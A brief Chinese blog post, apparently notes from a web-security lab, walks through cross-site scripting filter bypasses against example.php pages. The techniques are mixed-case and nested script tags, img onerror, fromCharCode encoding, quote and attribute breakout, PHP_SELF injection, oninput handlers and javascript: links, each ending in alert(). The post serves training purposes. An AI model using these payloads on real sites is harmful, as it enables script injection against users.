xss

2019-04-12  本文已影响0人  留白_bb77

过滤了小写的``,可以使用大小写绕过

过滤了不区分大小写的``与``,可以使用嵌套的script标签绕过,

url/example.php?name=<scr<script>ipt>alert("xss")</scr</script>ipt>

包含script字符串即报错,可以使用img标签绕过。

URL/example.php?name=<img src=""onerror="alert('xss')">

包含alert字符串即报错,可以使用编码方式绕过。URL/example.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>

代码在js环境中输出通过html编码的php变量,htmlentities没有过滤单引号,可以使用单引号绕过。

url/example.php?name=';alert('xss');'

post地址使用了当前url,我们构造当前url地址达到xss目的,尝试构造代码如下

url/example.php/[/url]"><script>alert('xss')</script>

使用str_replace()函数将``用空格取代。这种防护几乎没有什么作用,只需要简单改变大小写即可绕过该函数的防御。

输入`alert(/xss/)`即可。

Name处限制了字符长度。但是PHP源码中并没有对Name的长度进行验证。可以采用分段绕过,即“/* */ ”的方式

需要先将value属性闭合

"><script>alert('yes')</script>

oninput事件

属性       值            描述

Oninput   script      当元素获得用户输入时运行的脚本。

该事件会在元素获得用户输入时执行包含的脚本

123' oninput='alert(123)

由于使用的是oninput事件,需要捕获到用户输入才能执行事件,所以在上面的输入框中输入即可触发alert()函数

判断value使用的是单引号还是双引号方法:

输入' " > 三个字符测试闭合,查看文本框内的内容

 文本框无内容就是单引号,内容为 ' 即为双引号

 

Oninput和script都被替换,使用伪链接方式假造一个超链接尝试:

"> <a href="javascript:alert('test')">link</a>

点击链接

上一篇下一篇

猜你喜欢

热点阅读